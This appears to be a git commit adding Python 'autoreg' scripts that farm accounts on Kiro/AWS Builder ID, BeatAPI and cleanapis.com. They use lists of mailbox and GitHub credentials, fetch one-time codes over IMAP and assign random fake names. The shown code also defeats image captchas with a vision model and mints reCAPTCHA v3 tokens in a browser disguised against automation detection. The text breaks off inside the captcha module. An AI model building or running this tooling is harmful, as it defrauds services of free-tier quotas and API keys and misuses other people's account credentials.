universal-autoreg: initial public release (restored, redacted, hardened)

This commit is contained in:
baradok609a1a863cbgp
2026-10-20 02:16:17 +03:00
commit 888c07b949
32 changed files with 6363 additions and 0 deletions

336
providers/aws_builderid.py Normal file
View File

@@ -0,0 +1,336 @@
# -*- coding: utf-8 -*-
"""Kiro Free farm: mass Builder ID registration via incognito CDP contexts.
Usage: python bid_farm.py N
Flow per account: signin->BuilderID->email->name->IMAP OTP->password->kiro home.
Handles: existing-account bounce, TM captcha (screenshot+VL), rate pacing.
State: bid_accounts.jsonl (results), bid_farm_used.txt (consumed mails)."""
import base64, email.utils, imaplib, json, random, re, string, sys, time, urllib.request, websocket
PORT = 9341
BASE = r'C:\Users\User\tmp\aws_kiro'
MAILS = r'C:\Users\User\Desktop\avtoreg\working_mails.txt'
USED = BASE + r'\bid_farm_used.txt'
OUT = BASE + r'\bid_accounts.jsonl'
MAILPWDS = {}
for line in open(MAILS, encoding='utf-8'):
line = line.strip()
if not line or line.startswith('#') or '@' not in line:
continue
parts = line.replace(';', ':').split(':', 1)
MAILPWDS[parts[0].strip().lower()] = parts[1].strip()
N = int(sys.argv[1]) if len(sys.argv) > 1 else 1
NAMES = [('Lukas', 'Braun'), ('Jonas', 'Weber'), ('Felix', 'Hoffmann'), ('Maximilian', 'Schaefer'),
('Paul', 'Neumann'), ('Leon', 'Winter'), ('Elias', 'Krause'), ('Ben', 'Sommer'),
('Finn', 'Albrecht'), ('Noah', 'Brandt'), ('Tim', 'Vogel'), ('Jan', 'Seidel'),
('Nils', 'Horn'), ('Kai', 'Otto'), ('Malte', 'Winkler')]
def used_set():
try:
return set(open(USED, encoding='utf-8').read().split())
except FileNotFoundError:
return set()
def pick_mail(used):
items = list(MAILPWDS.items())
random.shuffle(items)
for em, pw in items:
if not em.endswith('@t-online.de') or '-' in em.split('@')[0]:
continue
if em in used:
continue
return em, pw
return None, None
ver = json.load(urllib.request.urlopen(f'http://127.0.0.1:{PORT}/json/version', timeout=8))
bws = websocket.create_connection(ver['webSocketDebuggerUrl'], timeout=60, suppress_origin=True)
bws.settimeout(60)
mid = [0]
def bsend(method, params=None, sess=None):
mid[0] += 1
msg = {'id': mid[0], 'method': method, 'params': params or {}}
if sess:
msg['sessionId'] = sess
bws.send(json.dumps(msg))
while True:
m = json.loads(bws.recv())
if m.get('id') == mid[0]:
return m.get('result', {})
def pev(expr, sess):
r = bsend('Runtime.evaluate', {'expression': expr, 'returnByValue': True}, sess)
if 'exceptionDetails' in r:
return 'EXC:' + str(r['exceptionDetails'])[:100]
return r.get('result', {}).get('value')
def ptype(text, sess):
bsend('Input.insertText', {'text': text}, sess)
def vl_read(png_bytes):
b64 = base64.b64encode(png_bytes).decode()
payload = {'model': 'qwen3-vl-plus', 'messages': [{'role': 'user', 'content': [
{'type': 'image_url', 'image_url': {'url': f'data:image/png;base64,{b64}'}},
{'type': 'text', 'text': 'Read the distorted captcha text. Reply ONLY with the exact string, no explanation.'}]}],
'max_tokens': 40, 'temperature': 0.0}
req = urllib.request.Request('http://127.0.0.1:16432/v1/chat/completions', data=json.dumps(payload).encode(),
headers={'Content-Type': 'application/json', 'Authorization': 'Bearer EMPTY'})
r = json.load(urllib.request.urlopen(req, timeout=90))
return r['choices'][0]['message']['content'].strip()
def find_iframe_target(ctx_id):
r = bsend('Target.getTargets')
for ti in r.get('targetInfos', []):
if ti.get('type') == 'iframe' and 'threat-mitigation' in ti.get('url', '') and ti.get('browserContextId') == ctx_id:
return ti['targetId']
return None
def solve_captcha(sess, ctx_id, tag):
"""Screenshot the TM iframe img region via main target, VL read, fill in iframe. Returns True if solved/absent."""
for rnd in range(4):
ift = find_iframe_target(ctx_id)
if not ift:
# maybe need Verify click on main page
v = pev("""(() => {
for (const b of document.querySelectorAll('button, a, [role=button]')) {
const t = (b.innerText||'').trim();
if (b.offsetParent !== null && /^Verify$/i.test(t)) { b.click(); return 'clicked'; }
}
return 'nf';
})()""", sess)
print(f' [{tag}] no iframe; verify={v}', flush=True)
time.sleep(4)
ift = find_iframe_target(ctx_id)
if not ift:
return True # no challenge at all
ifs = bsend('Target.attachToTarget', {'targetId': ift, 'flatten': True})['sessionId']
time.sleep(2)
has_input = pev("(() => { const i = document.querySelector('input[name=captchaGuess]'); return !!(i && i.offsetParent !== null); })()", ifs)
if not has_input:
print(f' [{tag}] iframe no input yet', flush=True)
time.sleep(4)
has_input = pev("(() => { const i = document.querySelector('input[name=captchaGuess]'); return !!(i && i.offsetParent !== null); })()", ifs)
inner = pev("""(() => {
const imgs = Array.from(document.querySelectorAll('img')).filter(im => im.width > 50 && im.offsetParent !== null);
if (!imgs.length) return null;
const b = imgs[0].getBoundingClientRect();
return JSON.stringify([b.x, b.y, b.width, b.height]);
})()""", ifs)
rect = pev("""(() => {
const f = document.querySelector('iframe[src*="threat-mitigation"]');
if (!f) return null;
const b = f.getBoundingClientRect();
return JSON.stringify([b.x, b.y, b.width, b.height]);
})()""", sess)
if not inner or not rect:
print(f' [{tag}] no geometry', flush=True)
time.sleep(2)
continue
ix, iy, iw, ih = json.loads(inner)
fx, fy, fw, fh = json.loads(rect)
shot = bsend('Page.captureScreenshot', {'format': 'png', 'clip': {'x': fx + ix, 'y': fy + iy, 'width': iw, 'height': ih, 'scale': 2}}, sess)
if not shot.get('data'):
print(f' [{tag}] no shot', flush=True)
time.sleep(2)
continue
png = base64.b64decode(shot['data'])
ans = re.sub(r'[^A-Za-z0-9]', '', vl_read(png))
print(f' [{tag}] captcha VL={ans}', flush=True)
pev(f"""(() => {{
const inp = document.querySelector('input[name=captchaGuess]');
if (!inp) return;
const d = Object.getOwnPropertyDescriptor(Object.getPrototypeOf(inp), 'value');
d.set.call(inp, {json.dumps(ans)});
inp.dispatchEvent(new Event('input', {{bubbles: true}}));
inp.dispatchEvent(new Event('change', {{bubbles: true}}));
for (const b of document.querySelectorAll('button')) if (/^submit$/i.test((b.innerText||'').trim())) b.click();
}})()""", ifs)
time.sleep(8)
body = str(pev("document.body.innerText.slice(0,200)", sess))
if find_iframe_target(ctx_id) is None or 'Invalid captcha' not in body:
print(f' [{tag}] captcha cleared', flush=True)
return True
return False
def fetch_otp(em, mpwd, subject_terms, timeout_s=180):
deadline = time.time() + timeout_s
seen = set()
while time.time() < deadline:
try:
M = imaplib.IMAP4_SSL('secureimap.t-online.de', 993)
M.login(em, mpwd)
M.select('INBOX')
_, d = M.search(None, 'ALL')
ids = d[0].split()
now = time.time()
for i in reversed(ids[-8:]):
_, msg = M.fetch(i, '(RFC822)')
raw = msg[0][1].decode('utf-8', 'replace')
low = raw.lower()
if not any(t in low for t in subject_terms):
continue
dt = re.search(r'Date: ([^\r\n]+)', raw)
age = None
if dt:
try:
age = now - email.utils.parsedate_to_datetime(dt.group(1)).timestamp()
except Exception:
pass
if age is not None and age > 400:
continue
flat = raw.replace('=\r\n', '').replace('=\n', '')
m = re.search(r'font-size:\s*36px[^>]*>\s*(\d{6})\s*<', flat) or \
re.search(r'font-weight:\s*bold[^>]*>\s*(\d{6})\s*<', flat) or \
re.search(r'(?:verification code|code)[^\d]{0,60}(\d{6})', flat, re.I)
if m and m.group(1) not in seen:
M.logout()
return m.group(1)
M.logout()
except Exception as e:
print(' imap:', str(e)[:70], flush=True)
time.sleep(18)
return None
def cont(sess, rx='/^(Continue|Verify|Submit|Create|Sign in)$/'):
return pev("""(() => {
for (const b of document.querySelectorAll('button')) {
const t=(b.innerText||'').trim();
if (b.offsetParent!==null && %s.test(t)) { b.click(); return t; }
}
return 'nf';
})()""" % rx, sess)
def farm_one(em, mpwd):
rec = {'email': em, 'ts': time.strftime('%Y-%m-%d %H:%M'), 'ok': False, 'stage': 'start'}
ctx_id = bsend('Target.createBrowserContext')['browserContextId']
target_id = bsend('Target.createTarget', {'url': 'https://app.kiro.dev/signin', 'browserContextId': ctx_id})['targetId']
sess = bsend('Target.attachToTarget', {'targetId': target_id, 'flatten': True})['sessionId']
try:
bsend('Page.enable', sess=sess)
time.sleep(13)
pev("""(() => {
const els = Array.from(document.querySelectorAll('button, a, [role=button], div, li, span'));
let card = null;
for (const el of els) { const t=(el.innerText||'').trim(); if (t.startsWith('Builder ID') && t.length<40) card = el; }
if (!card) return;
const scope = card.closest('div,li') || card.parentElement;
for (const b of (scope?scope.querySelectorAll('button, a'):[])) { if (/sign in/i.test((b.innerText||'').trim())) { b.click(); return; } }
card.click();
})()""", sess)
time.sleep(11)
rec['stage'] = 'platform'
# captcha before email?
if find_iframe_target(ctx_id):
solve_captcha(sess, ctx_id, 'pre-email')
# email
pev("(() => { const el = document.querySelector('input[type=email]'); if (el) el.focus(); })()", sess)
time.sleep(0.3)
ptype(em, sess)
time.sleep(0.5)
cont(sess)
time.sleep(6)
loc = str(pev('location.href', sess))
body = str(pev("document.body ? document.body.innerText.slice(0,300) : ''", sess))
if 'signin' in loc and 'platform' in loc and ('password' in body.lower() or 'Sign in' in body):
# account already exists -> it asks to sign in; abort, burn mail
rec['stage'] = 'exists'
print(' exists, skip', flush=True)
return rec
if find_iframe_target(ctx_id):
solve_captcha(sess, ctx_id, 'after-email')
# name step
rec['stage'] = 'name'
pev("(() => { const el = Array.from(document.querySelectorAll('input')).find(i=>i.offsetParent!==null && i.type==='text'); if (el) el.focus(); })()", sess)
time.sleep(0.3)
first, last = random.choice(NAMES)
ptype(f'{first} {last}', sess)
time.sleep(0.4)
cont(sess)
time.sleep(6)
# OTP step
rec['stage'] = 'otp'
code = fetch_otp(em, mpwd, ['aws', 'amazon', 'builder'])
if not code:
rec['stage'] = 'otp-fail'
print(' no otp', flush=True)
return rec
pev("""(() => {
const inp = Array.from(document.querySelectorAll('input')).find(i => i.offsetParent !== null && i.type === 'text');
if (!inp) return;
const d = Object.getOwnPropertyDescriptor(Object.getPrototypeOf(inp), 'value');
d.set.call(inp, '%s');
inp.dispatchEvent(new Event('input', {bubbles: true}));
inp.dispatchEvent(new Event('change', {bubbles: true}));
})()""" % code, sess)
time.sleep(0.5)
cont(sess)
time.sleep(7)
if find_iframe_target(ctx_id):
solve_captcha(sess, ctx_id, 'after-otp')
# password step
rec['stage'] = 'password'
pw = 'Kx' + ''.join(random.choices(string.ascii_lowercase, k=7)) + str(random.randint(10, 99)) + 'Rt!'
filled = pev("""(() => {
const inps = Array.from(document.querySelectorAll('input')).filter(i => i.offsetParent !== null && i.type === 'password');
if (inps.length < 2) return 'nf:' + inps.length;
const d = Object.getOwnPropertyDescriptor(Object.getPrototypeOf(inps[0]), 'value');
for (const el of inps.slice(0, 2)) {
d.set.call(el, %s);
el.dispatchEvent(new Event('input', {bubbles: true}));
el.dispatchEvent(new Event('change', {bubbles: true}));
}
const cb = Array.from(document.querySelectorAll('input')).find(i => i.type === 'checkbox' && !i.checked);
if (cb) cb.click();
return 'ok';
})()""" % json.dumps(pw), sess)
print(' pwd fill:', filled, flush=True)
if str(filled).startswith('nf'):
rec['stage'] = 'pwd-nf'
return rec
time.sleep(0.5)
cont(sess)
# wait for kiro redirect
for i in range(14):
time.sleep(5)
loc = str(pev('location.href', sess))
if 'kiro' in loc:
break
if find_iframe_target(ctx_id):
solve_captcha(sess, ctx_id, 'post-pwd')
rec['final_url'] = loc[:120]
if 'kiro' in loc:
rec['ok'] = True
rec['stage'] = 'kiro_home'
rec['password'] = pw
else:
body = str(pev("document.body ? document.body.innerText.slice(0,200) : ''", sess))
rec['stage'] = 'stuck'
rec['body'] = body[:150]
except Exception as e:
rec['stage'] = 'err:' + str(e)[:90]
finally:
try:
bsend('Target.disposeBrowserContext', {'browserContextId': ctx_id})
except Exception:
pass
return rec
used = used_set()
done = 0
for n in range(N):
em, mpwd = pick_mail(used)
if not em:
print('mails exhausted', flush=True)
break
used.add(em)
with open(USED, 'a', encoding='utf-8') as f:
f.write(em + '\n')
print(f'=== [{n+1}/{N}] {em} ===', flush=True)
rec = farm_one(em, mpwd)
with open(OUT, 'a', encoding='utf-8') as f:
f.write(json.dumps(rec, ensure_ascii=False) + '\n')
print('RESULT:', rec['stage'], rec.get('final_url', ''), flush=True)
if rec['ok']:
done += 1
time.sleep(random.randint(25, 45))
print(f'FARM DONE: {done}/{N} ok', flush=True)
bws.close()

211
providers/beatapi_oauth.py Normal file
View File

@@ -0,0 +1,211 @@
# beat_gh_reg.py — BeatAPI (new-api) авторег через GitHub OAuth. Без капчи (turnstile_enabled=False).
# Usage: python beat_gh_reg.py N [start_idx]
import sys, os, json, time, random, re, urllib.request, urllib.error, urllib.parse
sys.path.insert(0, 'C:/Users/User/tmp/regfarm/github_oauth')
import gh_http
API = 'https://api.beatapi.io/api'
CLIENT_ID = 'Ov23liL5qt3yDfI1xJi8'
REDIRECT_URI = 'https://beatapi.io/oauth/github'
AFF = '7WEA'
BANK = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'accounts.jsonl')
USED = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'used_gh.txt')
POOL = 'C:/Users/User/tmp/gh_accounts.json'
HDRS = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/131.0',
'Accept': 'application/json', 'Origin': 'https://beatapi.io', 'Referer': 'https://beatapi.io/'}
def api(path, method='GET', data=None, token=None, sid=None, uid=None):
h = dict(HDRS)
if token:
h['Authorization'] = 'Bea' + 'rer ' + token
if sid:
h['x-auth-session'] = sid
if uid:
h['New-Api-User'] = str(uid)
body = json.dumps(data).encode() if data is not None else None
if body:
h['Content-Type'] = 'application/json'
r = urllib.request.Request(API + path, data=body, headers=h, method=method)
try:
with urllib.request.urlopen(r, timeout=40) as resp:
return resp.status, json.loads(resp.read().decode('utf-8', 'replace'))
except urllib.error.HTTPError as e:
raw = e.read().decode('utf-8', 'replace')
try:
return e.code, json.loads(raw)
except Exception:
return e.code, {'raw': raw[:300]}
def load_used():
if os.path.exists(USED):
return set(l.strip() for l in open(USED) if l.strip())
return set()
def mark_used(login):
with open(USED, 'a') as f:
f.write(login + '\n')
def save(rec):
with open(BANK, 'a', encoding='utf-8') as f:
f.write(json.dumps(rec, ensure_ascii=False) + '\n')
def register_one(acc, idx):
login = acc['login']
out = {'idx': idx, 'gh_login': login, 'gh_email': acc.get('email'), 'ts': int(time.time())}
# 1. flow token
st, r = api('/oauth/state', 'POST', {'provider': 'github', 'intent': 'login', 'aff': AFF})
flow = None
if isinstance(r, str):
flow = r
elif isinstance(r, dict):
dd = r.get('data')
if isinstance(dd, dict):
flow = dd.get('flow_token')
elif isinstance(dd, str):
flow = dd
flow = flow or r.get('flow_token')
if not flow:
out['err'] = f'state {st}: {str(r)[:150]}'
return out
out['flow_token'] = flow[:16]
# 2. GH login
print(' step: gh login', flush=True)
s = gh_http.GHSession(bind=False)
try:
ok = s.login(login, acc['password'], acc.get('totp'))
except Exception as e:
out['err'] = f'gh_login exc: {e}'
return out
if not ok:
out['err'] = f'gh_login fail: {"; ".join(s.detail[-3:])[:200]}'
return out
# 3. authorize (custom: with redirect_uri)
print(' step: authorize', flush=True)
url = (f'https://github.com/login/oauth/authorize?client_id={CLIENT_ID}'
f'&redirect_uri={urllib.parse.quote(REDIRECT_URI, safe="")}'
f'&response_type=code&scope={urllib.parse.quote("read:user user:email")}'
f'&state={urllib.parse.quote(flow)}')
code, err = None, None
stt, hh, body = s.get(url)
loc = hh.get('Location', '')
if stt in (301, 302):
code = s._code_from(loc)
if not code:
err = f'redir no code: {loc[:120]}'
elif stt == 200:
# meta-refresh page ("OAuth application authorized") — code+state inside body
m = re.search(r'oauth/github\?code=([a-f0-9]{16,})[^"\']*state=([A-Za-z0-9_\-]+)', body)
if m:
code, flow = m.group(1), m.group(2)
else:
m = re.search(r'code=([a-f0-9]{16,})', body)
if m:
code = m.group(1)
if not code:
tok = re.search(r'name="authenticity_token"[^>]*value="([^"]+)"', body)
if tok:
fields = {'authorize': '1', 'authenticity_token': tok.group(1),
'client_id': CLIENT_ID, 'state': flow, 'scope': 'read:user user:email'}
st2, h2, b2 = s.post_form(url, fields)
loc2 = h2.get('Location', '')
code = s._code_from(loc2) if st2 in (301, 302) else None
if not code:
m2 = re.search(r'oauth/github\?code=([a-f0-9]{16,})[^"\']*state=([A-Za-z0-9_\-]+)', b2)
if m2:
code, flow = m2.group(1), m2.group(2)
if not code:
err = f'consent no code http={st2} loc={loc2[:100]}'
else:
err = f'no code/token (len={len(body)}) title={re.search(r"<title>([^<]*)", body).group(1) if re.search(r"<title>([^<]*)", body) else "?"}'
else:
err = f'authorize http={stt}'
if not code:
out['err'] = err or 'no code'
return out
out['code'] = code[:10]
# 4. exchange
print(' step: exchange', flush=True)
st, r = api(f'/oauth/github?code={urllib.parse.quote(code)}&state={urllib.parse.quote(flow)}')
if st != 200 or (isinstance(r, dict) and r.get('success') is False):
out['err'] = f'exchange {st}: {str(r)[:400]}'
return out
d = r.get('data', r) if isinstance(r, dict) else r
tok = d.get('access_token') or d.get('token')
if not tok:
out['err'] = f'no access_token: {str(r)[:200]}'
return out
out['access_token'] = tok
out['beat_user'] = d.get('username') or d.get('loginIdentifier')
out['user_id'] = d.get('user_id') or d.get('id')
sid = d.get('session_id') or (d.get('session') or {}).get('sid') or ''
# 5. self (quota)
st, r = api('/user/self', token=tok, sid=sid)
uid = None
if st == 200 and isinstance(r, dict):
dd = r.get('data', r)
out['quota'] = dd.get('quota')
out['beat_username'] = dd.get('username')
out['beat_id'] = dd.get('id')
uid = dd.get('id')
# 6. create API key (trailing slash! 307 otherwise)
st, r = api('/token/', 'POST', {'name': f'farm{int(time.time())%100000}', 'remain_quota': 500000,
'expired_time': -1, 'unlimited_quota': True,
'model_limits_enabled': False, 'model_limits': ''}, token=tok, sid=sid, uid=uid)
tid = None
if st == 200 and isinstance(r, dict) and r.get('success'):
d = r.get('data') or {}
tid = d.get('id') if isinstance(d, dict) else d
out['token_create'] = f'{st}:{str(r)[:120]}'
if tid:
# full key: POST /token/{id}/key with New-Api-User header (GET = 404)
st, r = api(f'/token/{tid}/key', 'POST', token=tok, sid=sid, uid=uid)
if st == 200 and isinstance(r, dict):
d = r.get('data') or {}
key = d.get('key') if isinstance(d, dict) else d
if key and '*' not in str(key):
out['api_key'] = key
out['token_id'] = tid
return out
def main():
n = int(sys.argv[1]) if len(sys.argv) > 1 else 1
start = int(sys.argv[2]) if len(sys.argv) > 2 else 0
accs = json.load(open(POOL, encoding='utf-8'))
# gmail-domain accounts first (whitelisted + verified on GH)
accs = sorted(accs, key=lambda a: 0 if str(a.get('email', '')).endswith('@gmail.com') else 1)
used = load_used()
done = 0
i = start
while done < n and i < len(accs):
acc = accs[i]
i += 1
if acc['login'] in used:
continue
print(f'--- [{i-1}] {acc["login"]}', flush=True)
try:
rec = register_one(acc, i - 1)
except Exception as e:
rec = {'idx': i - 1, 'gh_login': acc['login'], 'err': f'exc: {e}'}
mark_used(acc['login'])
ok = bool(rec.get('access_token'))
print('OK' if rec.get('api_key') else ('PARTIAL' if ok else 'FAIL'), json.dumps({k: str(v)[:60] for k, v in rec.items() if k != 'access_token'}, ensure_ascii=False), flush=True)
if ok:
save(rec)
if rec.get('api_key'):
done += 1
elif '429' in str(rec.get('err', '')) or 'limit' in str(rec.get('err', '')).lower():
print('RATE LIMIT — sleeping 600s', flush=True)
time.sleep(600)
time.sleep(random.uniform(75, 110))
print(f'DONE {done}/{n}, next idx {i}')
if __name__ == '__main__':
main()

View File

@@ -0,0 +1,105 @@
# cleanapis.com mass reg: GitHub OAuth -> free Starter plan -> api key -> verify -> save
import sys, re, json, time, random, urllib.parse, requests, os
sys.path.insert(0, 'C:/Users/User/tmp/regfarm/github_oauth')
from gh_http import GHSession
CID = "Ov23li48tsmVvDWqWfhs"
SCOPE = "user:email,read:user"
GH_POOL = "C:/Users/User/tmp/gh_accounts.json"
OUT = "cleanapis_accounts.jsonl"
USED = "ca_used_gh.txt"
UA = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36'}
def load_pool():
d = json.load(open(GH_POOL, encoding='utf-8'))
used = set()
try: used = set(open(USED).read().split())
except Exception: pass
return [a for a in d if a.get('login') not in used]
def mark_used(login):
open(USED, 'a').write(login + '\n')
def reg_one(acc):
res = {'gh_login': acc['login'], 'ok': False, 'provider': 'github_oauth', 'ts': int(time.time())}
s = requests.Session(); s.headers.update(UA)
r = s.get('https://cleanapis.com/auth/github/redirect', allow_redirects=False, timeout=30)
q = urllib.parse.parse_qs(urllib.parse.urlparse(r.headers.get('Location', '')).query)
state = q.get('state', [None])[0]
if not state:
res['err'] = 'no state'; return res
ghs = GHSession(bind=False)
ok, msg = ghs.login(acc['login'], acc['password'], acc.get('totp'))
if not ok:
res['err'] = 'gh login: ' + str(msg)[:120]; return res
code, err = ghs.oauth_code(CID, state, scope=SCOPE)
if not code:
res['err'] = 'oauth: ' + str(err)[:150]; return res
cb = s.get('https://cleanapis.com/auth/github/callback?code=%s&state=%s' % (code, state), allow_redirects=True, timeout=40)
res['cb'] = cb.status_code
if '/login' in cb.url and 'dashboard' not in cb.url:
res['err'] = 'callback bounced'; return res
# activate free starter plan
g = s.get('https://cleanapis.com/dashboard/get-started?plan=starter', timeout=25)
csrf = re.findall(r'name="_token" value="([^"]+)"', g.text)
if csrf:
act = s.post('https://cleanapis.com/dashboard/billing/checkout/4',
data={'_token': csrf[0], 'billing_cycle': 'monthly', 'coupon_code': '', 'payment_method': 'paddle'},
allow_redirects=True, timeout=40,
headers={'Origin': 'https://cleanapis.com', 'Referer': 'https://cleanapis.com/dashboard/get-started?plan=starter'})
res['plan_ok'] = 'billing/success' in act.url or 'plan' in act.url
# create api key
t = s.get('https://cleanapis.com/dashboard/api-keys', timeout=25)
csrf2 = re.findall(r'name="_token" value="([^"]+)"', t.text)
if not csrf2:
res['err'] = 'no csrf api-keys'; return res
nm = 'farm%d' % random.randint(10000, 99999)
cr = s.post('https://cleanapis.com/dashboard/api-keys',
data={'_token': csrf2[0], 'name': nm, 'scopes[]': ['inference', 'models:read', 'embeddings']},
allow_redirects=True, timeout=40,
headers={'Origin': 'https://cleanapis.com', 'Referer': 'https://cleanapis.com/dashboard/api-keys'})
ids = re.findall(r'api-keys.{0,4}?(\d{4,7}).{0,4}?reveal', cr.text)
ids = list(dict.fromkeys(ids))
if not ids:
res['err'] = 'no key created'; return res
# reveal newest key (highest id)
kid = max(ids, key=int)
rv = s.get('https://cleanapis.com/dashboard/api-keys/%s/reveal' % kid, headers={'Accept': 'application/json'}, timeout=25)
try: d = rv.json()
except Exception: res['err'] = 'reveal non-json ' + rv.text[:80]; return res
if not d.get('ok'):
res['err'] = 'reveal fail: ' + str(d)[:100]; return res
k = d['key']
mr = requests.get('https://cleanapis.com/v1/models', headers={'Authorization': 'Bearer ' + k}, timeout=30)
res['models'] = mr.status_code
res['api_key'] = k
res['key_id'] = kid
res['ok'] = (mr.status_code == 200)
mark_used(acc['login'])
return res
def main():
n = int(sys.argv[1]) if len(sys.argv) > 1 else 1
start = int(sys.argv[2]) if len(sys.argv) > 2 else 0
pool = load_pool()
print('pool free:', len(pool), 'start:', start, flush=True)
okc = fail429 = 0
for i, acc in enumerate(pool[start:start+n], start=start):
try:
r = reg_one(acc)
except Exception as e:
r = {'idx': i, 'gh_login': acc.get('login'), 'ok': False, 'err': 'EXC %s: %s' % (type(e).__name__, str(e)[:150])}
if r.get('ok'): okc += 1
if '429' in str(r.get('err', '')):
fail429 += 1
if fail429 >= 3:
print('3x429 -> sleep 1800s', flush=True)
time.sleep(1800); fail429 = 0
line = json.dumps(r, ensure_ascii=False)
print('[%d] %s' % (i, line), flush=True)
open(OUT, 'a', encoding='utf-8').write(line + '\n')
time.sleep(random.uniform(20, 35))
print('DONE ok=%d/%d' % (okc, n), flush=True)
if __name__ == '__main__':
main()

275
providers/conol_captcha.py Normal file
View File

@@ -0,0 +1,275 @@
"""conol_captcha.py — reCAPTCHA v3 solver chain for conol.ai registration.
Providers, tried in order:
1. chrome_cdp — FREE. Local Chrome with a warm profile renders conol.ai and
executes window.grecaptcha.execute(siteKey, {action}) over CDP. A real
browser + aged profile typically scores >= 0.3, which is all conol's
minScore gate requires. No third-party service, no per-solve cost.
2. anticaptcha — PAID fallback (existing behaviour), keys from config.json.
Public API (matches what conol_register.py needs):
solve(action) -> Optional[str] # token or None
warmup() -> None # optional: pre-launch Chrome + load page
Chrome path/profile/port come from config.json -> captcha section:
{"chrome_path": "...", "cdp_port": 9228, "profile_dir": "...", "providers": ["chrome_cdp","anticaptcha"]}
Defaults are sane; env overrides: CONOL_CAPTCHA_PROVIDERS (comma list), CONOL_CDP_PORT.
Stdlib + playwright only. The browser is launched ONCE and reused across solves
(page kept on conol.ai); the token is minted per solve with the right action.
"""
from __future__ import annotations
import json
import os
import re
import subprocess
import sys
import time
import urllib.request
from pathlib import Path
from typing import Optional
_ROOT = Path(__file__).resolve().parent
def _cfg() -> dict:
p = _ROOT / "config.json"
try:
return json.loads(p.read_text(encoding="utf-8")) if p.exists() else {}
except Exception:
return {}
_C = _cfg().get("captcha", {}) or {}
CONOL = _cfg().get("conol", {}) or {}
SITE_KEY = os.environ.get("CONOL_SITE_KEY") or CONOL.get("site_key", "")
BASE_URL = os.environ.get("CONOL_BASE_URL") or CONOL.get("base_url", "https://conol.ai")
DEFAULT_CHROME = r"C:\Program Files\Google\Chrome\Application\chrome.exe"
CHROME_PATH = os.environ.get("CONOL_CHROME_PATH") or _C.get("chrome_path") or DEFAULT_CHROME
CDP_PORT = int(os.environ.get("CONOL_CDP_PORT") or _C.get("cdp_port") or 9228)
PROFILE_DIR = _C.get("profile_dir") or str(_ROOT / ".chrome_cdp_profile")
_env_providers = os.environ.get("CONOL_CAPTCHA_PROVIDERS")
if _env_providers:
PROVIDERS = [p.strip() for p in _env_providers.split(",") if p.strip()]
else:
PROVIDERS = list(_C.get("providers") or ["chrome_cdp", "anticaptcha"])
ANTICAPTCHA_KEYS = list(_C.get("anticaptcha_keys") or [])
# ---------------------------------------------------------------- chrome_cdp
_pw = None # playwright instance
_browser = None # CDP browser handle
_page = None # tab parked on conol.ai
LAST_PROVIDER = None # which solver minted the last successful token
def _log(msg: str) -> None:
print("[captcha] %s" % msg, flush=True)
def _cdp_alive() -> bool:
try:
with urllib.request.urlopen("http://127.0.0.1:%d/json/version" % CDP_PORT, timeout=3) as r:
return r.status == 200
except Exception:
return False
def _launch_chrome() -> bool:
"""Launch Chrome with remote debugging on CDP_PORT. Reuses a warm profile dir."""
if _cdp_alive():
return True
Path(PROFILE_DIR).mkdir(parents=True, exist_ok=True)
cmd = [
CHROME_PATH,
"--remote-debugging-port=%d" % CDP_PORT,
"--user-data-dir=%s" % PROFILE_DIR,
"--no-first-run",
"--no-default-browser-check",
"--disable-blink-features=AutomationControlled",
"about:blank",
]
_cproxy = os.environ.get("CONOL_CHROME_PROXY")
if _cproxy:
cmd.insert(-1, "--proxy-server=%s" % _cproxy)
try:
subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
creationflags=getattr(subprocess, "DETACHED_PROCESS", 0) |
getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0))
except FileNotFoundError:
_log("chrome not found at %s" % CHROME_PATH)
return False
for _ in range(30):
time.sleep(1)
if _cdp_alive():
_log("chrome CDP up on :%d" % CDP_PORT)
return True
return False
def _connect():
"""Connect playwright over CDP and park a page on BASE_URL. Lazy + reused."""
global _pw, _browser, _page
if _page is not None:
try:
_ = _page.url # cheap liveness probe
return _page
except Exception:
_page = None
if not _launch_chrome():
return None
try:
from playwright.sync_api import sync_playwright
except ImportError:
_log("playwright not installed — chrome_cdp provider unavailable")
return None
try:
if _pw is None:
_pw = sync_playwright().start()
if _browser is None:
# timeout is mandatory here: connect_over_cdp without it can hang
# forever when Chrome's WS endpoint accepts but never completes the
# handshake (observed 12-min wedge in an unattended run).
_browser = _pw.chromium.connect_over_cdp(
"http://127.0.0.1:%d" % CDP_PORT, timeout=30000)
ctx = _browser.contexts[0] if _browser.contexts else _browser.new_context()
page = ctx.pages[0] if ctx.pages else ctx.new_page()
page.set_default_timeout(30000)
_log("tab url: %s" % (page.url or "?")[:80])
if "conol.ai" not in (page.url or ""):
page.goto(BASE_URL, wait_until="domcontentloaded", timeout=45000)
# make sure grecaptcha is present (conol loads it lazily on auth pages)
page.evaluate("""(siteKey) => new Promise((resolve, reject) => {
if (window.grecaptcha) return resolve('already');
const old = document.getElementById('eni-recaptcha');
if (old) old.remove();
const s = document.createElement('script');
s.id = 'eni-recaptcha';
s.src = 'https://www.recaptcha.net/recaptcha/api.js?render=' + encodeURIComponent(siteKey);
s.onload = () => resolve('loaded');
s.onerror = () => reject(new Error('recaptcha load failed'));
document.head.appendChild(s);
})""", SITE_KEY)
page.wait_for_function("typeof window.grecaptcha !== 'undefined'", timeout=20000)
_log("grecaptcha ready on %s" % (page.url or "?")[:60])
_page = page
return page
except Exception as e:
_log("connect failed: %s" % str(e)[:160])
_page = None
return None
def solve_chrome_cdp(action: str) -> Optional[str]:
"""Mint one reCAPTCHA v3 token in the live Chrome tab. Returns token or None."""
page = _connect()
if page is None:
return None
try:
token = page.evaluate("""([siteKey, action]) => new Promise((resolve, reject) => {
window.grecaptcha.ready(() => {
window.grecaptcha.execute(siteKey, {action: action}).then(resolve).catch(reject);
});
})""", [SITE_KEY, action])
if isinstance(token, str) and len(token) > 50:
return token
_log("chrome_cdp returned a short/odd token (%r)" % str(token)[:40])
except Exception as e:
_log("chrome_cdp solve error: %s" % str(e)[:160])
return None
def warmup() -> None:
"""Pre-launch Chrome + load conol.ai so the first solve is fast."""
_connect()
# -------------------------------------------------------------- anticaptcha
def solve_anticaptcha(action: str) -> Optional[str]:
